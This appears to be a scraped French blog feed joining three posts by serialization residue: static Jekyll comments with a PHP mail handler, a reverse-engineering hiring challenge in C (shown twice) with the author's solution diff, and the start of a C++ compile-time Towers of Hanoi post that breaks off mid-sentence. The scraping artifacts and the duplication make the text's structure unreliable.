Ainsi, j’écris mes articles en markdown dans mon éditeur favori, je les commite dans un dépôt git, et je génère le blog avec :
jekyll build
Le contenu hébergé étant statique, les pages ainsi générées à partir des sources sont renvoyées telles quelles.
Ce fonctionnement a beaucoup d’avantages :
git clone, pas de base de données).L’inconvénient, c’est qu’un contenu statique est difficilement conciliable avec le support des commentaires (il faut bien d’une manière ou d’une autre exécuter du code lors de la réception d’un commentaire).
Il y a plusieurs manières de contourner le problème.
Il est par exemple possible d’en déporter la gestion (sur un service en ligne comme Disqus ou un équivalent libre – isso – à héberger soi-même). Ainsi, les commentaires peuvent être chargés séparément par le client en Javascript.
Au lieu de cela, j’ai choisi d’intégrer les commentaires aux sources du blog. Voici comment.
L’objectif est d’une part de pouvoir stocker et afficher les commentaires existants, et d’autre part de fournir aux lecteurs la possibilité d’en soumettre de nouveaux, qui me seront envoyés par e-mail.
Je me suis principalement inspiré du contenu de Jekyll::StaticComments, même si, comme nous allons le voir, je n’utilise pas le plug-in lui-même.
L’idée est de stocker les commentaires quelque part dans les sources du site au format YAML.
Le plugin Jekyll::StaticComments nécessite de stocker un fichier par
commentaire dans un dossier spécial (_comments) parsé par un
script à insérer dans le répertoire _plugins.
Personnellement, je préfère avoir tous les commentaires d’un même post regroupés
au sein d’un même fichier. Et pour cela, pas besoin de plug-in : nous pouvons
faire correspondre à chaque post dans _posts une liste de
commentaires dans _data (un répertoire géré nativement par Jekyll).
Par exemple, ce billet est stocké dans :
_posts/2017-01-09-commentaires-statiques-avec-jekyll.md
Dans l’idéal, je voudrais que les commentaires associés soient stockés dans :
_data/comments-2017-01-09-commentaires-statiques-avec-jekyll.yaml
En pratique, pour des raisons techniques (Jekyll ne donne pas accès au nom du fichier), le nom du fichier ne contient pas le numéro du jour :
_data/comments-2017-01-commentaires-statiques-avec-jekyll.yaml
Il suffit alors de stocker dans ces fichiers les commentaires sous cette forme :
- id: 1
author: this_is_me
date: 2017-01-02 10:11:12+01:00
contents: |
Bonjour,
Ceci est un commentaire écrit en _markdown_.
- id: 2
author: dev42
author-url: https://github.com
date: 2017-01-02 12:11:10+01:00
contents: |
> Ceci est un commentaire écrit en _markdown_.
Et ça supporte aussi le [Liquid](https://jekyllrb.com/docs/templates/) :
{% highlight c %}
int main() {
return 0;
}
{% endhighlight %}Pour des exemples réels, voir les sources des commentaires de ce blog.
Maintenant que nous avons les données des commentaires, nous devons les afficher.
Il faut d’abord trouver la liste des commentaires associée à la page courante.
Comme nous ne pouvons pas récupérer directement le nom du fichier d’une page,
nous devons reconstruire la chaîne à partir de la variable page.id, qui
ici vaut :
/2017/01/commentaires-statiques-avec-jekyll
Cette ligne de Liquid :
comments{{ page.id | replace: '/', '-' }}donne la valeur :
comments-2017-01-commentaires-statiques-avec-jekyll
Nous avons donc tout ce dont nous avons besoin pour créer le template de
commentaires (à stocker dans _include/comments.html) :
{% capture commentid %}comments{{ page.id | replace: '/', '-' }}{% endcapture %}
{% if site.data[commentid] %}
<h2 id="comments">Commentaires</h2>
<div class="comments">
{% for comment in site.data[commentid] %}
<div id="comment-{{ comment.id }}" class="comment" />
<div class="comment-author">
{% if (comment.author-url) %}
<a href="{{comment.author-url}}">
{% endif %}
{{ comment.author }}
{% if (comment.author-url) %}
</a>
{% endif %}
</div>
<div class="comment-date">
<a href="#comment-{{ comment.id }}">
{{ comment.date | date: "%-d %B %Y, %H:%M" }}
</a>
</div>
<div class="comment-contents">
{{ comment.contents | liquify | markdownify }}
</div>
</div>
{% endfor %}
</div>Il suffit alors d’inclure cette page à l’endroit où vous souhaitez insérer les
commentaires (typiquement dans _layout/post.html) :
{% include comments.html %}Pour proposer aux utilisateurs de poster de nouveaux commentaires, il nous faut un formulaire.
À titre d’exemple, voici le mien (intégré à
_include/comments.html) :
<h3 class="comment-title">Poster un commentaire</h3>
<form method="POST" action="/comments/submit.php">
<input type="hidden" name="post_id" value="{{ page.id }}" />
<input type="hidden" name="return_url" value="{{ page.url }}" />
<table class="comment-table">
<tr>
<th>Nom :</th>
<td>
<input type="text" size="25" name="name" />
<em>(requis)</em>
</td>
</tr>
<tr>
<th>E-mail :</th>
<td>
<input type="text" size="25" name="email" />
<em>(requis, non publié)</em>
</td>
</tr>
<tr>
<th>Site web :</th>
<td>
<input type="text" size="25" name="url" />
<em>(optionnel)</em>
</td>
</tr>
<tr>
<td colspan="2">
<textarea name="comment" rows="10"></textarea>
</td>
</tr>
<tr>
<td colspan="2">
<input class="comment-submit" type="submit" value="Envoyer" />
</td>
</tr>
</table>
</form>Ce formulaire est affiché sous les commentaires existants.
L’action du formulaire précédent pointait sur
comments/submit.php. Il nous reste donc à écrire dans ce fichier
le code à exécuter lorsqu’un utilisateur envoie un commentaire au serveur.
Ce sera la seule partie “dynamique” du site.
Voici les parties importantes de comments/submit.php (basé sur
la version de Jekyll::StaticComments) :
<?php
$DATE_FORMAT = "Y-m-d H:i:sP";
$EMAIL_ADDRESS = "your@email";
$SUBJECT = "Nouveau commentaire";
$COMMENT_SENT = "sent.html";
$msg = "post_id: " . $_POST["post_id"] . "\n";
$msg .= "email: " . $_POST["email"] . "\n";
$msg .= "---\n";
$msg .= "- id: ?\n";
$msg .= " author: " . $_POST["name"] . "\n";
if ($_POST["url"] !== '')
{
$msg .= " author-url: " . $_POST["url"] . "\n";
}
$msg .= " date: " . date($DATE_FORMAT) . "\n";
$msg .= " contents: |\n" . $_POST["comment"];
$headers = "From: $EMAIL_ADDRESS\n";
$headers .= "Content-Type: text/plain; charset=utf-8";
if (mail($EMAIL_ADDRESS, $SUBJECT, $msg, $headers))
{
include $COMMENT_SENT;
}
else
{
echo "Le commentaire n'a pas pu être envoyé.";
}Quand un commentaire est envoyé avec succès, la page
comments/sent.html est affichée à l’utilisateur.
Ainsi, lorsqu’un commentaire est posté, je reçois un mail :
post_id: /2017/01/commentaires-statiques-avec-jekyll
email: my@email
---
- id: ?
author: ®om
author-url: http://blog.rom1v.com
date: 2017-01-09 19:27:10+01:00
contents: |
Ceci est un test.
J’ai d’ailleurs ajouté une règle procmail pour que ces mails arrivent dans un dossier dédié.
Je peux alors copier le contenu dans le .yaml correspondant, formatter le
commentaire (entre autres l’indenter de 4 espaces, ce qu’on pourrait
automatiser), et le commiter.
Une fois mis en place, vous devriez donc avoir les fichiers suivants :
_data/comments-*.yaml_include/comments.htmlcomments/submit.phpcomments/sent.htmlJe souhaitais depuis longtemps migrer vers un moteur de blog statique, qui correspond davantage à ma façon d’écrire des articles, et offre beaucoup d’avantages (légèreté, sécurité, maintenance…).
Je suis très content d’y être parvenu sans perdre les commentaires ni la possibilité d’en poster de nouveaux.
Certes, la validation est très manuelle, mais c’est le prix à payer pour avoir des commentaires statiques. Pour un blog avec une fréquence de commentaires assez faible, je pense que ce n’est pas très gênant.
";s:7:"dateiso";s:15:"20170109_180604";}s:15:"20150721_183104";a:7:{s:5:"title";s:29:"Challenge reverse engineering";s:4:"link";s:60:"http://blog.rom1v.com/2015/07/challenge-reverse-engineering/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=5012";s:7:"pubDate";s:31:"Tue, 21 Jul 2015 16:31:04 +0000";s:11:"description";s:350:"Un collègue m’a envoyé récemment le lien vers ce challenge, utilisé pour recruter chez NERD (que je ne connais pas). Je vous le partage car je l’ai trouvé très intéressant. Le but est de trouver un input qui donne l’output attendu. Pour info, entre le moment où j’ai eu connaissance du problème et le moment […]";s:7:"content";s:21017:"Un collègue m’a envoyé récemment le lien vers ce challenge, utilisé pour recruter chez NERD (que je ne connais pas).
Je vous le partage car je l’ai trouvé très intéressant. Le but est de trouver un input qui donne l’output attendu.
Pour info, entre le moment où j’ai eu connaissance du problème et le moment où je l’ai résolu, il s’est écoulé 6 jours. Je n’ai pas travaillé dessus à plein temps, mais ne comptez pas le résoudre en 20 minutes 
Je ne publie ni ma réponse au résultat attendu, ni les explications (ce serait incorrect vis-à-vis des auteurs du challenge). Je fournis par contre à la fin l’input qui donne comme output mon e-mail, ce qui suffit à prouver que j’ai résolu le problème.
Amusez-vous bien !
#include <string.h>
typedef unsigned char u8;
typedef unsigned int u32;
u8 confusion[512]={
0xac,0xd1,0x25,0x94,0x1f,0xb3,0x33,0x28,0x7c,0x2b,0x17,0xbc,0xf6,0xb0,0x55,0x5d,
0x8f,0xd2,0x48,0xd4,0xd3,0x78,0x62,0x1a,0x02,0xf2,0x01,0xc9,0xaa,0xf0,0x83,0x71,
0x72,0x4b,0x6a,0xe8,0xe9,0x42,0xc0,0x53,0x63,0x66,0x13,0x4a,0xc1,0x85,0xcf,0x0c,
0x24,0x76,0xa5,0x6e,0xd7,0xa1,0xec,0xc6,0x04,0xc2,0xa2,0x5c,0x81,0x92,0x6c,0xda,
0xc6,0x86,0xba,0x4d,0x39,0xa0,0x0e,0x8c,0x8a,0xd0,0xfe,0x59,0x96,0x49,0xe6,0xea,
0x69,0x30,0x52,0x1c,0xe0,0xb2,0x05,0x9b,0x10,0x03,0xa8,0x64,0x51,0x97,0x02,0x09,
0x8e,0xad,0xf7,0x36,0x47,0xab,0xce,0x7f,0x56,0xca,0x00,0xe3,0xed,0xf1,0x38,0xd8,
0x26,0x1c,0xdc,0x35,0x91,0x43,0x2c,0x74,0xb4,0x61,0x9d,0x5e,0xe9,0x4c,0xbf,0x77,
0x16,0x1e,0x21,0x1d,0x2d,0xa9,0x95,0xb8,0xc3,0x8d,0xf8,0xdb,0x34,0xe1,0x84,0xd6,
0x0b,0x23,0x4e,0xff,0x3c,0x54,0xa7,0x78,0xa4,0x89,0x33,0x6d,0xfb,0x79,0x27,0xc4,
0xf9,0x40,0x41,0xdf,0xc5,0x82,0x93,0xdd,0xa6,0xef,0xcd,0x8d,0xa3,0xae,0x7a,0xb6,
0x2f,0xfd,0xbd,0xe5,0x98,0x66,0xf3,0x4f,0x57,0x88,0x90,0x9c,0x0a,0x50,0xe7,0x15,
0x7b,0x58,0xbc,0x07,0x68,0x3a,0x5f,0xee,0x32,0x9f,0xeb,0xcc,0x18,0x8b,0xe2,0x57,
0xb7,0x49,0x37,0xde,0xf5,0x99,0x67,0x5b,0x3b,0xbb,0x3d,0xb5,0x2d,0x19,0x2e,0x0d,
0x93,0xfc,0x7e,0x06,0x08,0xbe,0x3f,0xd9,0x2a,0x70,0x9a,0xc8,0x7d,0xd8,0x46,0x65,
0x22,0xf4,0xb9,0xa2,0x6f,0x12,0x1b,0x14,0x45,0xc7,0x87,0x31,0x60,0x29,0xf7,0x73,
0x2c,0x97,0x72,0xcd,0x89,0xa6,0x88,0x4c,0xe8,0x83,0xeb,0x59,0xca,0x50,0x3f,0x27,
0x4e,0xae,0x43,0xd5,0x6e,0xd0,0x99,0x7b,0x7c,0x40,0x0c,0x52,0x86,0xc1,0x46,0x12,
0x5a,0x28,0xa8,0xbb,0xcb,0xf0,0x11,0x95,0x26,0x0d,0x34,0x66,0x22,0x18,0x6f,0x51,
0x9b,0x3b,0xda,0xec,0x5e,0x00,0x2a,0xf5,0x8f,0x61,0xba,0x96,0xb3,0xd1,0x30,0xdc,
0x33,0x75,0xe9,0x6d,0xc8,0xa1,0x3a,0x3e,0x5f,0x9d,0xfd,0xa9,0x31,0x9f,0xaa,0x85,
0x2f,0x92,0xaf,0x67,0x78,0xa5,0xab,0x03,0x21,0x4f,0xb9,0xad,0xfe,0xf3,0x42,0xfc,
0x17,0xd7,0xee,0xa3,0xd8,0x80,0x14,0x2e,0xa0,0x47,0x55,0xc4,0xff,0xe5,0x13,0x3f,
0x81,0xb6,0x7a,0x94,0xd0,0xb5,0x54,0xbf,0x91,0xa7,0x37,0xf1,0x6b,0xc9,0x1b,0xb1,
0x3c,0xb6,0xd9,0x32,0x24,0x8d,0xf2,0x82,0xb4,0xf9,0xdb,0x7d,0x44,0xfb,0x1e,0xd4,
0xea,0x5d,0x35,0x69,0x23,0x71,0x57,0x01,0x06,0xe4,0x55,0x9a,0xa4,0x58,0x56,0xc7,
0x4a,0x8c,0x8a,0xd6,0x6a,0x49,0x70,0xc5,0x8e,0x0a,0x62,0xdc,0x29,0x4b,0x42,0x41,
0xcb,0x2b,0xb7,0xce,0x08,0xa1,0x76,0x1d,0x1a,0xb8,0xe3,0xcc,0x7e,0x48,0x20,0xe6,
0xf8,0x45,0x93,0xde,0xc3,0x63,0x0f,0xb0,0xac,0x5c,0xba,0xdf,0x07,0x77,0xe7,0x4e,
0x1f,0x28,0x10,0x6c,0x59,0xd3,0xdd,0x2d,0x65,0x39,0xb2,0x74,0x84,0x3d,0xf4,0xbd,
0xc7,0x79,0x60,0x0b,0x4d,0x33,0x36,0x25,0xbc,0xe0,0x09,0xcf,0x5b,0xe2,0x38,0x9e,
0xc0,0xef,0xd2,0x16,0x05,0xbe,0x53,0xf7,0xc2,0xc6,0xa2,0x24,0x98,0x1c,0xad,0x04};
u32 diffusion[32]={
0xf26cb481,0x16a5dc92,0x3c5ba924,0x79b65248,0x2fc64b18,0x615acd29,0xc3b59a42,0x976b2584,
0x6cf281b4,0xa51692dc,0x5b3c24a9,0xb6794852,0xc62f184b,0x5a6129cd,0xb5c3429a,0x6b978425,
0xb481f26c,0xdc9216a5,0xa9243c5b,0x524879b6,0x4b182fc6,0xcd29615a,0x9a42c3b5,0x2584976b,
0x81b46cf2,0x92dca516,0x24a95b3c,0x4852b679,0x184bc62f,0x29cd5a61,0x429ab5c3,0x84256b97};
u8 input[32]={
//change only this :
0x66,0xd5,0x4e,0x28,0x5f,0xff,0x6b,0x53,0xac,0x3b,0x34,0x14,0xb5,0x3c,0xb2,0xc6,
0xa4,0x85,0x1e,0x0d,0x86,0xc7,0x4f,0xba,0x75,0x5e,0xcb,0xc3,0x6e,0x48,0x79,0x8f
//
};
void Forward(u8 c[32],u8 d[32],u8 s[512],u32 p[32])
{
for(u32 i=0;i<256;i++)
{
for(u8 j=0;j<32;j++)
{
d[j]=s[c[j]];
c[j]=0;
}
for(u8 j=0;j<32;j++)
for(u8 k=0;k<32;k++)
c[j]^=d[k]*((p[j]>>k)&1);
}
for(u8 i=0;i<16;i++)
d[i]=s[c[i*2]]^s[c[i*2+1]+256];
}
int main(int argc, char* argv[])
{
u8 target[]="Hire me!!!!!!!!";
u8 output[32];
Forward(input,output,confusion,diffusion);
return memcmp(output,target,16); // => contact jobs(at)nerd.nintendo.com
}
Ma preuve de solution :
diff --git a/HireMe.cpp b/HireMe.cpp
index ca94719..8374683 100644
--- a/HireMe.cpp
+++ b/HireMe.cpp
@@ -45,8 +45,8 @@ u32 diffusion[32]={
u8 input[32]={
//change only this :
-0x66,0xd5,0x4e,0x28,0x5f,0xff,0x6b,0x53,0xac,0x3b,0x34,0x14,0xb5,0x3c,0xb2,0xc6,
-0xa4,0x85,0x1e,0x0d,0x86,0xc7,0x4f,0xba,0x75,0x5e,0xcb,0xc3,0x6e,0x48,0x79,0x8f
+0x82,0x69,0xd7,0x3c,0xd7,0x58,0xd7,0x0d,0x22,0x46,0x58,0x22,0x22,0x69,0x22,0x77,
+0x77,0xd7,0x77,0xe6,0xf8,0x22,0xd7,0x58,0x9c,0x58,0x3c,0xf8,0xf8,0x22,0x58,0x13
//
};
@@ -70,7 +70,7 @@ void Forward(u8 c[32],u8 d[32],u8 s[512],u32 p[32])
int main(int argc, char* argv[])
{
- u8 target[]="Hire me!!!!!!!!";
+ u8 target[]="[rom@rom1v.com]";
u8 output[32];
Forward(input,output,confusion,diffusion);
";s:7:"dateiso";s:15:"20150721_183104";}s:15:"20150721_163104";a:7:{s:5:"title";s:29:"Challenge reverse engineering";s:4:"link";s:61:"https://blog.rom1v.com/2015/07/challenge-reverse-engineering/";s:4:"guid";s:60:"https://blog.rom1v.com/2015/07/challenge-reverse-engineering";s:7:"pubDate";s:25:"2015-07-21T16:31:04+02:00";s:11:"description";s:0:"";s:7:"content";s:38702:"Un collègue m’a envoyé récemment le lien vers ce challenge, utilisé pour recruter chez NERD (que je ne connais pas).
Je vous le partage car je l’ai trouvé très intéressant. Le but est de trouver un input qui donne l’output attendu.
Pour info, entre le moment où j’ai eu connaissance du problème et le moment où je l’ai résolu, il s’est écoulé 6 jours. Je n’ai pas travaillé dessus à plein temps, mais ne comptez pas le résoudre en 20 minutes ;-)
Je ne publie ni ma réponse au résultat attendu, ni les explications (ce serait incorrect vis-à-vis des auteurs du challenge). Je fournis par contre à la fin l’input qui donne comme output mon e-mail, ce qui suffit à prouver que j’ai résolu le problème.
Amusez-vous bien !
#include <string.h>
typedef unsigned char u8;
typedef unsigned int u32;
u8 confusion[512]={
0xac,0xd1,0x25,0x94,0x1f,0xb3,0x33,0x28,0x7c,0x2b,0x17,0xbc,0xf6,0xb0,0x55,0x5d,
0x8f,0xd2,0x48,0xd4,0xd3,0x78,0x62,0x1a,0x02,0xf2,0x01,0xc9,0xaa,0xf0,0x83,0x71,
0x72,0x4b,0x6a,0xe8,0xe9,0x42,0xc0,0x53,0x63,0x66,0x13,0x4a,0xc1,0x85,0xcf,0x0c,
0x24,0x76,0xa5,0x6e,0xd7,0xa1,0xec,0xc6,0x04,0xc2,0xa2,0x5c,0x81,0x92,0x6c,0xda,
0xc6,0x86,0xba,0x4d,0x39,0xa0,0x0e,0x8c,0x8a,0xd0,0xfe,0x59,0x96,0x49,0xe6,0xea,
0x69,0x30,0x52,0x1c,0xe0,0xb2,0x05,0x9b,0x10,0x03,0xa8,0x64,0x51,0x97,0x02,0x09,
0x8e,0xad,0xf7,0x36,0x47,0xab,0xce,0x7f,0x56,0xca,0x00,0xe3,0xed,0xf1,0x38,0xd8,
0x26,0x1c,0xdc,0x35,0x91,0x43,0x2c,0x74,0xb4,0x61,0x9d,0x5e,0xe9,0x4c,0xbf,0x77,
0x16,0x1e,0x21,0x1d,0x2d,0xa9,0x95,0xb8,0xc3,0x8d,0xf8,0xdb,0x34,0xe1,0x84,0xd6,
0x0b,0x23,0x4e,0xff,0x3c,0x54,0xa7,0x78,0xa4,0x89,0x33,0x6d,0xfb,0x79,0x27,0xc4,
0xf9,0x40,0x41,0xdf,0xc5,0x82,0x93,0xdd,0xa6,0xef,0xcd,0x8d,0xa3,0xae,0x7a,0xb6,
0x2f,0xfd,0xbd,0xe5,0x98,0x66,0xf3,0x4f,0x57,0x88,0x90,0x9c,0x0a,0x50,0xe7,0x15,
0x7b,0x58,0xbc,0x07,0x68,0x3a,0x5f,0xee,0x32,0x9f,0xeb,0xcc,0x18,0x8b,0xe2,0x57,
0xb7,0x49,0x37,0xde,0xf5,0x99,0x67,0x5b,0x3b,0xbb,0x3d,0xb5,0x2d,0x19,0x2e,0x0d,
0x93,0xfc,0x7e,0x06,0x08,0xbe,0x3f,0xd9,0x2a,0x70,0x9a,0xc8,0x7d,0xd8,0x46,0x65,
0x22,0xf4,0xb9,0xa2,0x6f,0x12,0x1b,0x14,0x45,0xc7,0x87,0x31,0x60,0x29,0xf7,0x73,
0x2c,0x97,0x72,0xcd,0x89,0xa6,0x88,0x4c,0xe8,0x83,0xeb,0x59,0xca,0x50,0x3f,0x27,
0x4e,0xae,0x43,0xd5,0x6e,0xd0,0x99,0x7b,0x7c,0x40,0x0c,0x52,0x86,0xc1,0x46,0x12,
0x5a,0x28,0xa8,0xbb,0xcb,0xf0,0x11,0x95,0x26,0x0d,0x34,0x66,0x22,0x18,0x6f,0x51,
0x9b,0x3b,0xda,0xec,0x5e,0x00,0x2a,0xf5,0x8f,0x61,0xba,0x96,0xb3,0xd1,0x30,0xdc,
0x33,0x75,0xe9,0x6d,0xc8,0xa1,0x3a,0x3e,0x5f,0x9d,0xfd,0xa9,0x31,0x9f,0xaa,0x85,
0x2f,0x92,0xaf,0x67,0x78,0xa5,0xab,0x03,0x21,0x4f,0xb9,0xad,0xfe,0xf3,0x42,0xfc,
0x17,0xd7,0xee,0xa3,0xd8,0x80,0x14,0x2e,0xa0,0x47,0x55,0xc4,0xff,0xe5,0x13,0x3f,
0x81,0xb6,0x7a,0x94,0xd0,0xb5,0x54,0xbf,0x91,0xa7,0x37,0xf1,0x6b,0xc9,0x1b,0xb1,
0x3c,0xb6,0xd9,0x32,0x24,0x8d,0xf2,0x82,0xb4,0xf9,0xdb,0x7d,0x44,0xfb,0x1e,0xd4,
0xea,0x5d,0x35,0x69,0x23,0x71,0x57,0x01,0x06,0xe4,0x55,0x9a,0xa4,0x58,0x56,0xc7,
0x4a,0x8c,0x8a,0xd6,0x6a,0x49,0x70,0xc5,0x8e,0x0a,0x62,0xdc,0x29,0x4b,0x42,0x41,
0xcb,0x2b,0xb7,0xce,0x08,0xa1,0x76,0x1d,0x1a,0xb8,0xe3,0xcc,0x7e,0x48,0x20,0xe6,
0xf8,0x45,0x93,0xde,0xc3,0x63,0x0f,0xb0,0xac,0x5c,0xba,0xdf,0x07,0x77,0xe7,0x4e,
0x1f,0x28,0x10,0x6c,0x59,0xd3,0xdd,0x2d,0x65,0x39,0xb2,0x74,0x84,0x3d,0xf4,0xbd,
0xc7,0x79,0x60,0x0b,0x4d,0x33,0x36,0x25,0xbc,0xe0,0x09,0xcf,0x5b,0xe2,0x38,0x9e,
0xc0,0xef,0xd2,0x16,0x05,0xbe,0x53,0xf7,0xc2,0xc6,0xa2,0x24,0x98,0x1c,0xad,0x04};
u32 diffusion[32]={
0xf26cb481,0x16a5dc92,0x3c5ba924,0x79b65248,0x2fc64b18,0x615acd29,0xc3b59a42,0x976b2584,
0x6cf281b4,0xa51692dc,0x5b3c24a9,0xb6794852,0xc62f184b,0x5a6129cd,0xb5c3429a,0x6b978425,
0xb481f26c,0xdc9216a5,0xa9243c5b,0x524879b6,0x4b182fc6,0xcd29615a,0x9a42c3b5,0x2584976b,
0x81b46cf2,0x92dca516,0x24a95b3c,0x4852b679,0x184bc62f,0x29cd5a61,0x429ab5c3,0x84256b97};
u8 input[32]={
//change only this :
0x66,0xd5,0x4e,0x28,0x5f,0xff,0x6b,0x53,0xac,0x3b,0x34,0x14,0xb5,0x3c,0xb2,0xc6,
0xa4,0x85,0x1e,0x0d,0x86,0xc7,0x4f,0xba,0x75,0x5e,0xcb,0xc3,0x6e,0x48,0x79,0x8f
//
};
void Forward(u8 c[32],u8 d[32],u8 s[512],u32 p[32])
{
for(u32 i=0;i<256;i++)
{
for(u8 j=0;j<32;j++)
{
d[j]=s[c[j]];
c[j]=0;
}
for(u8 j=0;j<32;j++)
for(u8 k=0;k<32;k++)
c[j]^=d[k]*((p[j]>>k)&1);
}
for(u8 i=0;i<16;i++)
d[i]=s[c[i*2]]^s[c[i*2+1]+256];
}
int main(int argc, char* argv[])
{
u8 target[]="Hire me!!!!!!!!";
u8 output[32];
Forward(input,output,confusion,diffusion);
return memcmp(output,target,16); // => contact jobs(at)nerd.nintendo.com
}Ma preuve de solution :
diff --git a/HireMe.cpp b/HireMe.cpp
index ca94719..8374683 100644
--- a/HireMe.cpp
+++ b/HireMe.cpp
@@ -45,8 +45,8 @@ u32 diffusion[32]={
u8 input[32]={
//change only this :
-0x66,0xd5,0x4e,0x28,0x5f,0xff,0x6b,0x53,0xac,0x3b,0x34,0x14,0xb5,0x3c,0xb2,0xc6,
-0xa4,0x85,0x1e,0x0d,0x86,0xc7,0x4f,0xba,0x75,0x5e,0xcb,0xc3,0x6e,0x48,0x79,0x8f
+0x82,0x69,0xd7,0x3c,0xd7,0x58,0xd7,0x0d,0x22,0x46,0x58,0x22,0x22,0x69,0x22,0x77,
+0x77,0xd7,0x77,0xe6,0xf8,0x22,0xd7,0x58,0x9c,0x58,0x3c,0xf8,0xf8,0x22,0x58,0x13
//
};
@@ -70,7 +70,7 @@ void Forward(u8 c[32],u8 d[32],u8 s[512],u32 p[32])
int main(int argc, char* argv[])
{
- u8 target[]="Hire me!!!!!!!!";
+ u8 target[]="[rom@rom1v.com]";
u8 output[32];
Forward(input,output,confusion,diffusion);En général, pour résoudre un problème donné, nous écrivons un algorithme dans un langage source, puis nous le compilons (dans le cas d’un langage compilé). La compilation consiste à traduire le code source en un code exécutable par une machine cible. C’est lors de l’exécution de ce fichier que l’algorithme est déroulé.
Mais certains langages, en l’occurrence C++, proposent des mécanismes permettant un certain contrôle sur la phase de compilation, tellement expressifs qu’ils permettent la métaprogrammation. Nous pouvons alors faire exécuter un algorithme directement par le compilateur, qui se contente de produire un fichier exécutable affichant le résultat.
À titre d’exemple, je vais présenter dans ce billet comment résoudre le problème des tours de Hanoï (généralisé, c’est-à-dire quelque soit la position initiale des disques) lors de la phase de compilation.
Les programmes complets décrits dans ce billet sont gittés :
git clone http://git.rom1v.com/metahanoi.git
(ou sur github)
La résolution naturelle du problème généralisé des tours de Hanoï est récursive.
Pour déplacer n disques vers la tour T, il faut:
En voici une implémentation classique en C++ (le compilateur va générer le code permettant d’exécuter l’algorithme) :
#include <iterator>
#include <iostream>
#include <vector>
class Hanoi {
using tower = unsigned int;
using size = unsigned int;
std::vector<tower> state; // disk number i is on tower state[i]
public:
Hanoi(std::initializer_list<tower> init) : state(init) {}
void solve(tower target) {
printState(); // initial state
solveRec(state.size(), target);
}
private:
void solveRec(size disks, tower target) {
if (disks == 0) {
return;
}
// the tower of the largest disk at this depth of recursion
tower &largest = state[state.size() - disks];
if (largest == target) {
// the largest disk is already on the target tower
solveRec(disks - 1, target);
} else {
// move disks above the largest to the intermediate tower
solveRec(disks - 1, other(largest, target));
// move the largest disk to the target
largest = target;
printState();
// move back the disks on the largest
solveRec(disks - 1, target);
}
}
void printState() {
std::copy(state.cbegin(), state.cend(),
std::ostream_iterator<tower>(std::cout));
std::cout << std::endl;
}
static inline tower other(tower t1, tower t2) {
return 3 - t1 - t2;
}
};
int main() {
Hanoi{ 0, 0, 0, 0, 0 }.solve(2);
return 0;
}
(source – commit – tag runtime)
À compiler avec :
g++ -std=c++11 hanoi.cpp -o hanoi
L’algorithme utilise un simple vecteur de positions des disques, indexés du plus grand au plus petit, pour stocker l’état courant.
Par exemple, l’état { 0, 0, 0, 0 } représente 4 disques sur la tour 0 :
state = { 0, 0, 0, 0 };
0 1 2
| | |
-+- | |
--+-- | |
---+--- | |
----+---- | |
L’état { 1, 1, 0, 2 }, quant-à lui, représente ces positions:
state = { 1, 1, 2, 1 };
0 1 2
| | |
| | |
| -+- |
| ---+--- |
| ----+---- --+--
Dans cette version, pour déplacer le disque i, il suffit alors de changer la valeur de state[i].
Il serait possible d’utiliser une structure de données différente, comme un vecteur par tour stockant les numéros des disques présents, mais celle que j’ai choisie sera beaucoup plus adaptée pour la suite.
Étant données 2 tours T1 et T2, il est très facile d’en déduire la 3e : 3 – T1 – T2. Ce calcul est extrait dans la fonction inlinée other(…).
Le contexte étant présenté, essayons maintenant d’implémenter le même algorithme pour le faire exécuter par le compilateur.
std::vector est une structure de données utilisable uniquement à l’exécution : il n’est pas possible d’en créer ou d’en utiliser une instance lors de la compilation. Même l’utilisation d’un simple tableau d’entiers nous poserait des problèmes par la suite.
Nous allons donc grandement simplifier le stockage des positions des disques, en utilisant un seul entier. En effet, à chaque disque est associée une tour qui peut être 0, 1 ou 2. Par conséquent, un chiffre en base 3 (un trit) suffit pour stocker la position d’une tour.
Ainsi, nous pouvons représenter l’état { 1, 2, 1, 0, 2 } par l’entier 146 (1×81 + 2×27 + 1×9 + 0×3 + 2×1) :
+-----+-----+-----+-----+-----+
| 3^4 | 3^3 | 3^2 | 3^1 | 3^0 |
| 81 | 27 | 9 | 3 | 1 |
+-----+-----+-----+-----+-----+
| 1 | 2 | 1 | 0 | 2 |
+-----+-----+-----+-----+-----+
Au passage, voici comment convertir rapidement un nombre dans une autre base en shell (pratique pour débugger) :
$ echo 'ibase=3; 12102' | bc
146
$ echo 'obase=3; 146' | bc
12102
Nous allons utiliser le type entier le plus long, à savoir unsigned long long, stockant au minimum 64 bits, soit 64 digits en base 2. En base 3, cela représente 64 × ln(2)/ln(3) ≃ 40 digits : nous pouvons donc stocker la position de 40 disques dans un seul entier.
Pour cela, définissons un type state :
using state = unsigned long long;
Nous allons écrire une première ébauche n’utilisant que des expressions constantes, clairement indiquées et vérifiées depuis C++11 grâce au mot-clé constexpr. Une fonction constexpr doit, en gros, n’être composé que d’une instruction return.
C’est le cas à l’évidence pour notre fonction other(…) :
constexpr tower other(tower t1, tower t2) {
return 3 - t1 - t2;
}
Grâce à l’opérateur ternaire et à la récursivité, nous pouvons cependant en écrire de plus complexes.
Dans notre programme classique, le déplacement d’un disque i se résumait à changer la valeur de state[i]. Maintenant que l’état du système est compacté dans un seul entier, l’opération est moins directe.
Soit l’état courant { 0, 1, 2, 0, 0 } (ou plus simplement 01200). Supposons que nous souhaitions déplacer le disque au sommet de la tour 2 vers la tour 1. Cela consiste, en fait, à remplacer le dernier 2 par un 1 (rappelez-vous, les disques sont indexés du plus grand au plus petit). Le résultat attendu est donc 01100.
Notez que ce déplacement n’est pas toujours autorisé. Par exemple, le disque au sommet de la tour 2 est plus grand (i.e. a un plus petit index) que celui au sommet de la tour 0, il n’est donc pas possible de le déplacer vers la tour 0. C’est à l’algorithme que revient la responsabilité de n’effectuer que des déplacements légaux.
Remplacer le dernier digit x de la représentation d’un nombre N (dans une base quelconque) par y peut s’implémenter récursivement :
Concrètement :
N N\d d { x=2, y=1 }
01200 0120 0 // d != x : remplacer x par y dans N\d
0120 012 0 // d != x : remplacer x par y dans N\d
012 01 2 // d == x : remplacer x par y
011 01 1 // d = y
0110 011 0 // recoller d au résultat
01100 0110 0 // recoller d au résultat
Il reste à expliciter l’étape du remplacement du digit. De manière générale, remplacer par un chiffre d le dernier digit d’un nombre N exprimé dans une base b consiste à calculer, soit N / b * b + d, soit de manière équivalente N - N % b + d (/ représentant la division entière et % le modulo). Dans les deux cas, l’opération annule le dernier digit puis ajoute son remplaçant.
Sur un exemple en base 10, c’est évident. Remplaçons le dernier chiffre de 125 par 7 selon les deux méthodes :
